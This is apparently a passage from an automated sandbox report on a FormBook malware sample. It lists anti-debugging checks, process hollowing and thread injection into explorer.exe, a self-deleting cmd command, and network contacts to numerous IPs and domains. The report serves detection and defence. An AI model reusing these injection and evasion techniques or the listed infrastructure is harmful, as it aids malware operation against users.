Source: C:\Windows\SysWOW64\wlanext.exe Code function: 7_2_03630050 mov eax, dword ptr fs:[00000030h] 7_2_03630050
Source: C:\Windows\SysWOW64\wlanext.exe Code function: 7_2_03630050 mov eax, dword ptr fs:[00000030h] 7_2_03630050
Source: C:\Windows\SysWOW64\wlanext.exe Code function: 7_2_0362B02A mov eax, dword ptr fs:[00000030h] 7_2_0362B02A
Source: C:\Windows\SysWOW64\wlanext.exe Code function: 7_2_0362B02A mov eax, dword ptr fs:[00000030h] 7_2_0362B02A
Source: C:\Windows\SysWOW64\wlanext.exe Code function: 7_2_0362B02A mov eax, dword ptr fs:[00000030h] 7_2_0362B02A
Source: C:\Windows\SysWOW64\wlanext.exe Code function: 7_2_0362B02A mov eax, dword ptr fs:[00000030h] 7_2_0362B02A
Source: C:\Windows\SysWOW64\wlanext.exe Code function: 7_2_0364002D mov eax, dword ptr fs:[00000030h] 7_2_0364002D
Source: C:\Windows\SysWOW64\wlanext.exe Code function: 7_2_0364002D mov eax, dword ptr fs:[00000030h] 7_2_0364002D
Source: C:\Windows\SysWOW64\wlanext.exe Code function: 7_2_0364002D mov eax, dword ptr fs:[00000030h] 7_2_0364002D
Source: C:\Windows\SysWOW64\wlanext.exe Code function: 7_2_0364002D mov eax, dword ptr fs:[00000030h] 7_2_0364002D
Source: C:\Windows\SysWOW64\wlanext.exe Code function: 7_2_0364002D mov eax, dword ptr fs:[00000030h] 7_2_0364002D
Source: C:\Windows\SysWOW64\wlanext.exe Code function: 7_2_036E4015 mov eax, dword ptr fs:[00000030h] 7_2_036E4015
Source: C:\Windows\SysWOW64\wlanext.exe Code function: 7_2_036E4015 mov eax, dword ptr fs:[00000030h] 7_2_036E4015
Source: C:\Windows\SysWOW64\wlanext.exe Code function: 7_2_03697016 mov eax, dword ptr fs:[00000030h] 7_2_03697016
Source: C:\Windows\SysWOW64\wlanext.exe Code function: 7_2_03697016 mov eax, dword ptr fs:[00000030h] 7_2_03697016
Source: C:\Windows\SysWOW64\wlanext.exe Code function: 7_2_03697016 mov eax, dword ptr fs:[00000030h] 7_2_03697016
Source: C:\Windows\SysWOW64\wlanext.exe Code function: 7_2_036158EC mov eax, dword ptr fs:[00000030h] 7_2_036158EC
Source: C:\Windows\SysWOW64\wlanext.exe Code function: 7_2_036AB8D0 mov eax, dword ptr fs:[00000030h] 7_2_036AB8D0
Source: C:\Windows\SysWOW64\wlanext.exe Code function: 7_2_036AB8D0 mov ecx, dword ptr fs:[00000030h] 7_2_036AB8D0
Source: C:\Windows\SysWOW64\wlanext.exe Code function: 7_2_036AB8D0 mov eax, dword ptr fs:[00000030h] 7_2_036AB8D0
Source: C:\Windows\SysWOW64\wlanext.exe Code function: 7_2_036AB8D0 mov eax, dword ptr fs:[00000030h] 7_2_036AB8D0
Source: C:\Windows\SysWOW64\wlanext.exe Code function: 7_2_036AB8D0 mov eax, dword ptr fs:[00000030h] 7_2_036AB8D0
Source: C:\Windows\SysWOW64\wlanext.exe Code function: 7_2_036AB8D0 mov eax, dword ptr fs:[00000030h] 7_2_036AB8D0
Source: C:\Windows\SysWOW64\wlanext.exe Code function: 7_2_036420A0 mov eax, dword ptr fs:[00000030h] 7_2_036420A0
Source: C:\Windows\SysWOW64\wlanext.exe Code function: 7_2_036420A0 mov eax, dword ptr fs:[00000030h] 7_2_036420A0
Source: C:\Windows\SysWOW64\wlanext.exe Code function: 7_2_036420A0 mov eax, dword ptr fs:[00000030h] 7_2_036420A0
Source: C:\Windows\SysWOW64\wlanext.exe Code function: 7_2_036420A0 mov eax, dword ptr fs:[00000030h] 7_2_036420A0
Source: C:\Windows\SysWOW64\wlanext.exe Code function: 7_2_036420A0 mov eax, dword ptr fs:[00000030h] 7_2_036420A0
Source: C:\Windows\SysWOW64\wlanext.exe Code function: 7_2_036420A0 mov eax, dword ptr fs:[00000030h] 7_2_036420A0
Source: C:\Windows\SysWOW64\wlanext.exe Code function: 7_2_036590AF mov eax, dword ptr fs:[00000030h] 7_2_036590AF
Source: C:\Windows\SysWOW64\wlanext.exe Code function: 7_2_0364F0BF mov ecx, dword ptr fs:[00000030h] 7_2_0364F0BF
Source: C:\Windows\SysWOW64\wlanext.exe Code function: 7_2_0364F0BF mov eax, dword ptr fs:[00000030h] 7_2_0364F0BF
Source: C:\Windows\SysWOW64\wlanext.exe Code function: 7_2_0364F0BF mov eax, dword ptr fs:[00000030h] 7_2_0364F0BF
Source: C:\Windows\SysWOW64\wlanext.exe Code function: 7_2_03619080 mov eax, dword ptr fs:[00000030h] 7_2_03619080
Source: C:\Windows\SysWOW64\wlanext.exe Code function: 7_2_03693884 mov eax, dword ptr fs:[00000030h] 7_2_03693884
Source: C:\Windows\SysWOW64\wlanext.exe Code function: 7_2_03693884 mov eax, dword ptr fs:[00000030h] 7_2_03693884
Source: C:\Windows\SysWOW64\wlanext.exe Code function: 7_2_0362FF60 mov eax, dword ptr fs:[00000030h] 7_2_0362FF60
Source: C:\Windows\SysWOW64\wlanext.exe Code function: 7_2_036E8F6A mov eax, dword ptr fs:[00000030h] 7_2_036E8F6A
Source: C:\Windows\SysWOW64\wlanext.exe Code function: 7_2_0362EF40 mov eax, dword ptr fs:[00000030h] 7_2_0362EF40
Source: C:\Windows\SysWOW64\wlanext.exe Code function: 7_2_03614F2E mov eax, dword ptr fs:[00000030h] 7_2_03614F2E
Source: C:\Windows\SysWOW64\wlanext.exe Code function: 7_2_03614F2E mov eax, dword ptr fs:[00000030h] 7_2_03614F2E
Source: C:\Windows\SysWOW64\wlanext.exe Code function: 7_2_0364E730 mov eax, dword ptr fs:[00000030h] 7_2_0364E730
Source: C:\Windows\SysWOW64\wlanext.exe Code function: 7_2_036E070D mov eax, dword ptr fs:[00000030h] 7_2_036E070D
Source: C:\Windows\SysWOW64\wlanext.exe Code function: 7_2_036E070D mov eax, dword ptr fs:[00000030h] 7_2_036E070D
Source: C:\Windows\SysWOW64\wlanext.exe Code function: 7_2_0364A70E mov eax, dword ptr fs:[00000030h] 7_2_0364A70E
Source: C:\Windows\SysWOW64\wlanext.exe Code function: 7_2_0364A70E mov eax, dword ptr fs:[00000030h] 7_2_0364A70E
Source: C:\Windows\SysWOW64\wlanext.exe Code function: 7_2_0363F716 mov eax, dword ptr fs:[00000030h] 7_2_0363F716
Source: C:\Windows\SysWOW64\wlanext.exe Code function: 7_2_036AFF10 mov eax, dword ptr fs:[00000030h] 7_2_036AFF10
Source: C:\Windows\SysWOW64\wlanext.exe Code function: 7_2_036AFF10 mov eax, dword ptr fs:[00000030h] 7_2_036AFF10
Source: C:\Windows\SysWOW64\wlanext.exe Code function: 7_2_036537F5 mov eax, dword ptr fs:[00000030h] 7_2_036537F5
Source: C:\Windows\SysWOW64\wlanext.exe Code function: 7_2_03628794 mov eax, dword ptr fs:[00000030h] 7_2_03628794
Source: C:\Windows\SysWOW64\wlanext.exe Code function: 7_2_03697794 mov eax, dword ptr fs:[00000030h] 7_2_03697794
Source: C:\Windows\SysWOW64\wlanext.exe Code function: 7_2_03697794 mov eax, dword ptr fs:[00000030h] 7_2_03697794
Source: C:\Windows\SysWOW64\wlanext.exe Code function: 7_2_03697794 mov eax, dword ptr fs:[00000030h] 7_2_03697794
Source: C:\Windows\SysWOW64\wlanext.exe Code function: 7_2_0362766D mov eax, dword ptr fs:[00000030h] 7_2_0362766D
Source: C:\Windows\SysWOW64\wlanext.exe Code function: 7_2_0363AE73 mov eax, dword ptr fs:[00000030h] 7_2_0363AE73
Source: C:\Windows\SysWOW64\wlanext.exe Code function: 7_2_0363AE73 mov eax, dword ptr fs:[00000030h] 7_2_0363AE73
Source: C:\Windows\SysWOW64\wlanext.exe Code function: 7_2_0363AE73 mov eax, dword ptr fs:[00000030h] 7_2_0363AE73
Source: C:\Windows\SysWOW64\wlanext.exe Code function: 7_2_0363AE73 mov eax, dword ptr fs:[00000030h] 7_2_0363AE73
Source: C:\Windows\SysWOW64\wlanext.exe Code function: 7_2_0363AE73 mov eax, dword ptr fs:[00000030h] 7_2_0363AE73
Source: C:\Windows\SysWOW64\wlanext.exe Code function: 7_2_03627E41 mov eax, dword ptr fs:[00000030h] 7_2_03627E41
Source: C:\Windows\SysWOW64\wlanext.exe Code function: 7_2_03627E41 mov eax, dword ptr fs:[00000030h] 7_2_03627E41
Source: C:\Windows\SysWOW64\wlanext.exe Code function: 7_2_03627E41 mov eax, dword ptr fs:[00000030h] 7_2_03627E41
Source: C:\Windows\SysWOW64\wlanext.exe Code function: 7_2_03627E41 mov eax, dword ptr fs:[00000030h] 7_2_03627E41
Source: C:\Windows\SysWOW64\wlanext.exe Code function: 7_2_03627E41 mov eax, dword ptr fs:[00000030h] 7_2_03627E41
Source: C:\Windows\SysWOW64\wlanext.exe Code function: 7_2_03627E41 mov eax, dword ptr fs:[00000030h] 7_2_03627E41
Source: C:\Windows\SysWOW64\wlanext.exe Code function: 7_2_036DAE44 mov eax, dword ptr fs:[00000030h] 7_2_036DAE44
Source: C:\Windows\SysWOW64\wlanext.exe Code function: 7_2_036DAE44 mov eax, dword ptr fs:[00000030h] 7_2_036DAE44
Source: C:\Windows\SysWOW64\wlanext.exe Code function: 7_2_0361E620 mov eax, dword ptr fs:[00000030h] 7_2_0361E620
Source: C:\Windows\SysWOW64\wlanext.exe Code function: 7_2_036CFE3F mov eax, dword ptr fs:[00000030h] 7_2_036CFE3F
Source: C:\Windows\SysWOW64\wlanext.exe Code function: 7_2_0361C600 mov eax, dword ptr fs:[00000030h] 7_2_0361C600
Source: C:\Windows\SysWOW64\wlanext.exe Code function: 7_2_0361C600 mov eax, dword ptr fs:[00000030h] 7_2_0361C600
Source: C:\Windows\SysWOW64\wlanext.exe Code function: 7_2_0361C600 mov eax, dword ptr fs:[00000030h] 7_2_0361C600
Source: C:\Windows\SysWOW64\wlanext.exe Code function: 7_2_03648E00 mov eax, dword ptr fs:[00000030h] 7_2_03648E00
Source: C:\Windows\SysWOW64\wlanext.exe Code function: 7_2_036D1608 mov eax, dword ptr fs:[00000030h] 7_2_036D1608
Source: C:\Windows\SysWOW64\wlanext.exe Code function: 7_2_0364A61C mov eax, dword ptr fs:[00000030h] 7_2_0364A61C
Source: C:\Windows\SysWOW64\wlanext.exe Code function: 7_2_0364A61C mov eax, dword ptr fs:[00000030h] 7_2_0364A61C
Source: C:\Windows\SysWOW64\wlanext.exe Code function: 7_2_036276E2 mov eax, dword ptr fs:[00000030h] 7_2_036276E2
Source: C:\Windows\SysWOW64\wlanext.exe Code function: 7_2_036416E0 mov ecx, dword ptr fs:[00000030h] 7_2_036416E0
Source: C:\Windows\SysWOW64\wlanext.exe Code function: 7_2_03658EC7 mov eax, dword ptr fs:[00000030h] 7_2_03658EC7
Source: C:\Windows\SysWOW64\wlanext.exe Code function: 7_2_036436CC mov eax, dword ptr fs:[00000030h] 7_2_036436CC
Source: C:\Windows\SysWOW64\wlanext.exe Code function: 7_2_036CFEC0 mov eax, dword ptr fs:[00000030h] 7_2_036CFEC0
Source: C:\Windows\SysWOW64\wlanext.exe Code function: 7_2_036E8ED6 mov eax, dword ptr fs:[00000030h] 7_2_036E8ED6
Source: C:\Windows\SysWOW64\wlanext.exe Code function: 7_2_036E0EA5 mov eax, dword ptr fs:[00000030h] 7_2_036E0EA5
Source: C:\Windows\SysWOW64\wlanext.exe Code function: 7_2_036E0EA5 mov eax, dword ptr fs:[00000030h] 7_2_036E0EA5
Source: C:\Windows\SysWOW64\wlanext.exe Code function: 7_2_036E0EA5 mov eax, dword ptr fs:[00000030h] 7_2_036E0EA5
Source: C:\Windows\SysWOW64\wlanext.exe Code function: 7_2_036946A7 mov eax, dword ptr fs:[00000030h] 7_2_036946A7
Source: C:\Windows\SysWOW64\wlanext.exe Code function: 7_2_036AFE87 mov eax, dword ptr fs:[00000030h] 7_2_036AFE87
Source: C:\Windows\SysWOW64\wlanext.exe Code function: 7_2_0363C577 mov eax, dword ptr fs:[00000030h] 7_2_0363C577
Source: C:\Windows\SysWOW64\wlanext.exe Code function: 7_2_0363C577 mov eax, dword ptr fs:[00000030h] 7_2_0363C577
Source: C:\Windows\SysWOW64\wlanext.exe Code function: 7_2_03653D43 mov eax, dword ptr fs:[00000030h] 7_2_03653D43
Source: C:\Windows\SysWOW64\wlanext.exe Code function: 7_2_03693540 mov eax, dword ptr fs:[00000030h] 7_2_03693540
Source: C:\Windows\SysWOW64\wlanext.exe Code function: 7_2_03637D50 mov eax, dword ptr fs:[00000030h] 7_2_03637D50
Source: C:\Windows\SysWOW64\wlanext.exe Code function: 7_2_0361AD30 mov eax, dword ptr fs:[00000030h] 7_2_0361AD30
Source: C:\Windows\SysWOW64\wlanext.exe Code function: 7_2_036DE539 mov eax, dword ptr fs:[00000030h] 7_2_036DE539
Source: C:\Windows\SysWOW64\wlanext.exe Code function: 7_2_03623D34 mov eax, dword ptr fs:[00000030h] 7_2_03623D34
Source: C:\Windows\SysWOW64\wlanext.exe Code function: 7_2_03623D34 mov eax, dword ptr fs:[00000030h] 7_2_03623D34
Source: C:\Windows\SysWOW64\wlanext.exe Code function: 7_2_03623D34 mov eax, dword ptr fs:[00000030h] 7_2_03623D34
Source: C:\Windows\SysWOW64\wlanext.exe Code function: 7_2_03623D34 mov eax, dword ptr fs:[00000030h] 7_2_03623D34
Source: C:\Windows\SysWOW64\wlanext.exe Code function: 7_2_03623D34 mov eax, dword ptr fs:[00000030h] 7_2_03623D34
Source: C:\Windows\SysWOW64\wlanext.exe Code function: 7_2_03623D34 mov eax, dword ptr fs:[00000030h] 7_2_03623D34
Source: C:\Windows\SysWOW64\wlanext.exe Code function: 7_2_03623D34 mov eax, dword ptr fs:[00000030h] 7_2_03623D34
Source: C:\Windows\SysWOW64\wlanext.exe Code function: 7_2_03623D34 mov eax, dword ptr fs:[00000030h] 7_2_03623D34
Source: C:\Windows\SysWOW64\wlanext.exe Code function: 7_2_03623D34 mov eax, dword ptr fs:[00000030h] 7_2_03623D34
Source: C:\Windows\SysWOW64\wlanext.exe Code function: 7_2_03623D34 mov eax, dword ptr fs:[00000030h] 7_2_03623D34
Source: C:\Windows\SysWOW64\wlanext.exe Code function: 7_2_03623D34 mov eax, dword ptr fs:[00000030h] 7_2_03623D34
Source: C:\Windows\SysWOW64\wlanext.exe Code function: 7_2_03623D34 mov eax, dword ptr fs:[00000030h] 7_2_03623D34
Source: C:\Windows\SysWOW64\wlanext.exe Code function: 7_2_03623D34 mov eax, dword ptr fs:[00000030h] 7_2_03623D34
Source: C:\Windows\SysWOW64\wlanext.exe Code function: 7_2_036E8D34 mov eax, dword ptr fs:[00000030h] 7_2_036E8D34
Source: C:\Windows\SysWOW64\wlanext.exe Code function: 7_2_0369A537 mov eax, dword ptr fs:[00000030h] 7_2_0369A537
Source: C:\Windows\SysWOW64\wlanext.exe Code function: 7_2_03644D3B mov eax, dword ptr fs:[00000030h] 7_2_03644D3B
Source: C:\Windows\SysWOW64\wlanext.exe Code function: 7_2_03644D3B mov eax, dword ptr fs:[00000030h] 7_2_03644D3B
Source: C:\Windows\SysWOW64\wlanext.exe Code function: 7_2_03644D3B mov eax, dword ptr fs:[00000030h] 7_2_03644D3B
Source: C:\Windows\SysWOW64\wlanext.exe Code function: 7_2_0362D5E0 mov eax, dword ptr fs:[00000030h] 7_2_0362D5E0
Source: C:\Windows\SysWOW64\wlanext.exe Code function: 7_2_0362D5E0 mov eax, dword ptr fs:[00000030h] 7_2_0362D5E0
Source: C:\Windows\SysWOW64\wlanext.exe Code function: 7_2_036DFDE2 mov eax, dword ptr fs:[00000030h] 7_2_036DFDE2
Source: C:\Windows\SysWOW64\wlanext.exe Code function: 7_2_036DFDE2 mov eax, dword ptr fs:[00000030h] 7_2_036DFDE2
Source: C:\Windows\SysWOW64\wlanext.exe Code function: 7_2_036DFDE2 mov eax, dword ptr fs:[00000030h] 7_2_036DFDE2
Source: C:\Windows\SysWOW64\wlanext.exe Code function: 7_2_036DFDE2 mov eax, dword ptr fs:[00000030h] 7_2_036DFDE2
Source: C:\Windows\SysWOW64\wlanext.exe Code function: 7_2_036C8DF1 mov eax, dword ptr fs:[00000030h] 7_2_036C8DF1
Source: C:\Windows\SysWOW64\wlanext.exe Code function: 7_2_03696DC9 mov eax, dword ptr fs:[00000030h] 7_2_03696DC9
Source: C:\Windows\SysWOW64\wlanext.exe Code function: 7_2_03696DC9 mov eax, dword ptr fs:[00000030h] 7_2_03696DC9
Source: C:\Windows\SysWOW64\wlanext.exe Code function: 7_2_03696DC9 mov eax, dword ptr fs:[00000030h] 7_2_03696DC9
Source: C:\Windows\SysWOW64\wlanext.exe Code function: 7_2_03696DC9 mov ecx, dword ptr fs:[00000030h] 7_2_03696DC9
Source: C:\Windows\SysWOW64\wlanext.exe Code function: 7_2_03696DC9 mov eax, dword ptr fs:[00000030h] 7_2_03696DC9
Source: C:\Windows\SysWOW64\wlanext.exe Code function: 7_2_03696DC9 mov eax, dword ptr fs:[00000030h] 7_2_03696DC9
Checks if the current process is being debugged
Source: C:\Users\user\Desktop\1D4l9eR0W4.exe Process queried: DebugPort Jump to behavior
Source: C:\Windows\SysWOW64\wlanext.exe Process queried: DebugPort Jump to behavior
Contains functionality to access loader functionality (e.g. LdrGetProcedureAddress)
Source: C:\Users\user\Desktop\1D4l9eR0W4.exe Code function: 3_2_00409B50 LdrLoadDll, 3_2_00409B50
Source: C:\Users\user\Desktop\1D4l9eR0W4.exe Memory allocated: page read and write | page guard Jump to behavior

HIPS / PFW / Operating System Protection Evasion:

barindex
System process connects to network (likely due to code injection or exploit)
Source: C:\Windows\explorer.exe Network Connect: 147.255.129.44 80 Jump to behavior
Source: C:\Windows\explorer.exe Network Connect: 198.143.147.58 80 Jump to behavior
Source: C:\Windows\explorer.exe Network Connect: 142.250.203.115 80 Jump to behavior
Source: C:\Windows\explorer.exe Network Connect: 43.132.183.85 80 Jump to behavior
Source: C:\Windows\explorer.exe Domain query: www.fulvousemollientplanet.com
Source: C:\Windows\explorer.exe Domain query: www.rip-online.com
Source: C:\Windows\explorer.exe Network Connect: 15.197.142.173 80 Jump to behavior
Source: C:\Windows\explorer.exe Network Connect: 87.236.16.208 80 Jump to behavior
Source: C:\Windows\explorer.exe Network Connect: 23.227.38.74 80 Jump to behavior
Source: C:\Windows\explorer.exe Domain query: www.scion-go-getter.com
Source: C:\Windows\explorer.exe Domain query: www.sandman.network
Source: C:\Windows\explorer.exe Domain query: www.foxandmew.com
Source: C:\Windows\explorer.exe Domain query: www.royallecleaning.com
Source: C:\Windows\explorer.exe Domain query: www.websitessample.com
Source: C:\Windows\explorer.exe Domain query: www.experimentwithoutlimits.com
Source: C:\Windows\explorer.exe Domain query: www.21yingyang.com
Source: C:\Windows\explorer.exe Domain query: www.9linefarms.com
Source: C:\Windows\explorer.exe Network Connect: 34.102.136.180 80 Jump to behavior
Source: C:\Windows\explorer.exe Network Connect: 35.209.150.94 80 Jump to behavior
Source: C:\Windows\explorer.exe Domain query: www.tikomobile.store
Source: C:\Windows\explorer.exe Domain query: www.texascountrycharts.com
Source: C:\Windows\explorer.exe Network Connect: 107.164.242.49 80 Jump to behavior
Sample uses process hollowing technique
Source: C:\Users\user\Desktop\1D4l9eR0W4.exe Section unmapped: C:\Windows\SysWOW64\wlanext.exe base address: 910000 Jump to behavior
Maps a DLL or memory area into another process
Source: C:\Users\user\Desktop\1D4l9eR0W4.exe Section loaded: unknown target: C:\Windows\explorer.exe protection: execute and read and write Jump to behavior
Source: C:\Users\user\Desktop\1D4l9eR0W4.exe Section loaded: unknown target: C:\Windows\SysWOW64\wlanext.exe protection: execute and read and write Jump to behavior
Source: C:\Users\user\Desktop\1D4l9eR0W4.exe Section loaded: unknown target: C:\Windows\SysWOW64\wlanext.exe protection: execute and read and write Jump to behavior
Source: C:\Windows\SysWOW64\wlanext.exe Section loaded: unknown target: C:\Windows\explorer.exe protection: read write Jump to behavior
Source: C:\Windows\SysWOW64\wlanext.exe Section loaded: unknown target: C:\Windows\explorer.exe protection: execute and read and write Jump to behavior
Queues an APC in another process (thread injection)
Source: C:\Users\user\Desktop\1D4l9eR0W4.exe Thread APC queued: target process: C:\Windows\explorer.exe Jump to behavior
Modifies the context of a thread in another process (thread injection)
Source: C:\Users\user\Desktop\1D4l9eR0W4.exe Thread register set: target process: 3424 Jump to behavior
Source: C:\Windows\SysWOW64\wlanext.exe Thread register set: target process: 3424 Jump to behavior
Creates a process in suspended mode (likely to inject code)
Source: C:\Users\user\Desktop\1D4l9eR0W4.exe Process created: C:\Users\user\Desktop\1D4l9eR0W4.exe C:\Users\user\Desktop\1D4l9eR0W4.exe Jump to behavior
Source: C:\Windows\SysWOW64\wlanext.exe Process created: C:\Windows\SysWOW64\cmd.exe /c del "C:\Users\user\Desktop\1D4l9eR0W4.exe" Jump to behavior
Source: explorer.exe, 00000005.00000000.679319803.0000000000AD8000.00000004.00000020.sdmp, explorer.exe, 00000005.00000000.695758960.0000000000AD8000.00000004.00000020.sdmp, explorer.exe, 00000005.00000000.666231552.0000000000AD8000.00000004.00000020.sdmp Binary or memory string: ProgmanMD6
Source: explorer.exe, 00000005.00000000.679561076.0000000001080000.00000002.00020000.sdmp, explorer.exe, 00000005.00000000.696324425.0000000001080000.00000002.00020000.sdmp, explorer.exe, 00000005.00000000.666485297.0000000001080000.00000002.00020000.sdmp, wlanext.exe, 00000007.00000002.920998111.0000000005C10000.00000002.00020000.sdmp Binary or memory string: Program Manager
Source: explorer.exe, 00000005.00000000.679561076.0000000001080000.00000002.00020000.sdmp, explorer.exe, 00000005.00000000.682719192.0000000005E50000.00000004.00000001.sdmp, explorer.exe, 00000005.00000000.696324425.0000000001080000.00000002.00020000.sdmp, explorer.exe, 00000005.00000000.666485297.0000000001080000.00000002.00020000.sdmp, wlanext.exe, 00000007.00000002.920998111.0000000005C10000.00000002.00020000.sdmp Binary or memory string: Shell_TrayWnd
Source: explorer.exe, 00000005.00000000.679561076.0000000001080000.00000002.00020000.sdmp, explorer.exe, 00000005.00000000.696324425.0000000001080000.00000002.00020000.sdmp, explorer.exe, 00000005.00000000.666485297.0000000001080000.00000002.00020000.sdmp, wlanext.exe, 00000007.00000002.920998111.0000000005C10000.00000002.00020000.sdmp Binary or memory string: Progman
Source: explorer.exe, 00000005.00000000.679561076.0000000001080000.00000002.00020000.sdmp, explorer.exe, 00000005.00000000.696324425.0000000001080000.00000002.00020000.sdmp, explorer.exe, 00000005.00000000.666485297.0000000001080000.00000002.00020000.sdmp, wlanext.exe, 00000007.00000002.920998111.0000000005C10000.00000002.00020000.sdmp Binary or memory string: Progmanlock
Source: explorer.exe, 00000005.00000000.701557713.000000000A716000.00000004.00000001.sdmp, explorer.exe, 00000005.00000000.673622756.000000000A716000.00000004.00000001.sdmp, explorer.exe, 00000005.00000000.686546615.000000000A716000.00000004.00000001.sdmp Binary or memory string: Shell_TrayWnd5D

Language, Device and Operating System Detection:

barindex
Queries the volume information (name, serial number etc) of a device
Source: C:\Users\user\Desktop\1D4l9eR0W4.exe Queries volume information: C:\Users\user\Desktop\1D4l9eR0W4.exe VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\1D4l9eR0W4.exe Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Windows.Forms\v4.0_4.0.0.0__b77a5c561934e089\System.Windows.Forms.dll VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\1D4l9eR0W4.exe Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Drawing\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Drawing.dll VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\1D4l9eR0W4.exe Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Accessibility\v4.0_4.0.0.0__b03f5f7f11d50a3a\Accessibility.dll VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\1D4l9eR0W4.exe Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\1D4l9eR0W4.exe Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\1D4l9eR0W4.exe Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\1D4l9eR0W4.exe Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.VisualBasic\v4.0_10.0.0.0__b03f5f7f11d50a3a\Microsoft.VisualBasic.dll VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\1D4l9eR0W4.exe Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid Jump to behavior

Stealing of Sensitive Information:

barindex
Yara detected FormBook
Source: Yara match File source: 3.2.1D4l9eR0W4.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match File source: 3.0.1D4l9eR0W4.exe.400000.8.unpack, type: UNPACKEDPE
Source: Yara match File source: 3.0.1D4l9eR0W4.exe.400000.8.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 3.0.1D4l9eR0W4.exe.400000.6.unpack, type: UNPACKEDPE
Source: Yara match File source: 3.0.1D4l9eR0W4.exe.400000.4.unpack, type: UNPACKEDPE
Source: Yara match File source: 3.2.1D4l9eR0W4.exe.400000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 3.0.1D4l9eR0W4.exe.400000.6.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 0.2.1D4l9eR0W4.exe.44a63d0.3.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 0.2.1D4l9eR0W4.exe.444edb0.2.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 00000003.00000000.662565080.0000000000400000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match File source: 00000003.00000000.663054195.0000000000400000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match File source: 00000005.00000000.690177163.000000000E892000.00000040.00020000.sdmp, type: MEMORY
Source: Yara match File source: 00000003.00000002.713721764.00000000013C0000.00000040.00020000.sdmp, type: MEMORY
Source: Yara match File source: 00000007.00000002.920015100.0000000002EE0000.00000040.00020000.sdmp, type: MEMORY
Source: Yara match File source: 00000005.00000000.703698531.000000000E892000.00000040.00020000.sdmp, type: MEMORY
Source: Yara match File source: 00000003.00000002.713518901.0000000000400000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match File source: 00000007.00000002.920096919.0000000003200000.00000040.00020000.sdmp, type: MEMORY
Source: Yara match File source: 00000007.00000002.919741475.0000000000A70000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match File source: 00000003.00000002.713740606.00000000013F0000.00000040.00020000.sdmp, type: MEMORY
Source: Yara match File source: 00000000.00000002.665552518.0000000004309000.00000004.00000001.sdmp, type: MEMORY

Remote Access Functionality:

barindex
Yara detected FormBook
Source: Yara match File source: 3.2.1D4l9eR0W4.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match File source: 3.0.1D4l9eR0W4.exe.400000.8.unpack, type: UNPACKEDPE
Source: Yara match File source: 3.0.1D4l9eR0W4.exe.400000.8.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 3.0.1D4l9eR0W4.exe.400000.6.unpack, type: UNPACKEDPE
Source: Yara match File source: 3.0.1D4l9eR0W4.exe.400000.4.unpack, type: UNPACKEDPE
Source: Yara match File source: 3.2.1D4l9eR0W4.exe.400000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 3.0.1D4l9eR0W4.exe.400000.6.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 0.2.1D4l9eR0W4.exe.44a63d0.3.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 0.2.1D4l9eR0W4.exe.444edb0.2.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 00000003.00000000.662565080.0000000000400000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match File source: 00000003.00000000.663054195.0000000000400000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match File source: 00000005.00000000.690177163.000000000E892000.00000040.00020000.sdmp, type: MEMORY
Source: Yara match File source: 00000003.00000002.713721764.00000000013C0000.00000040.00020000.sdmp, type: MEMORY
Source: Yara match File source: 00000007.00000002.920015100.0000000002EE0000.00000040.00020000.sdmp, type: MEMORY
Source: Yara match File source: 00000005.00000000.703698531.000000000E892000.00000040.00020000.sdmp, type: MEMORY
Source: Yara match File source: 00000003.00000002.713518901.0000000000400000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match File source: 00000007.00000002.920096919.0000000003200000.00000040.00020000.sdmp, type: MEMORY
Source: Yara match File source: 00000007.00000002.919741475.0000000000A70000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match File source: 00000003.00000002.713740606.00000000013F0000.00000040.00020000.sdmp, type: MEMORY
Source: Yara match File source: 00000000.00000002.665552518.0000000004309000.00000004.00000001.sdmp, type: MEMORY
windows-stand
Hide Legend

Legend:

  • Process
  • Signature
  • Created File
  • DNS/IP Info
  • Is Dropped
  • Is Windows Process
  • Number of created Registry Values
  • Number of created Files
  • Visual Basic
  • Delphi
  • Java
  • .Net C# or VB.NET
  • C, C++ or other language
  • Is malicious
  • Internet
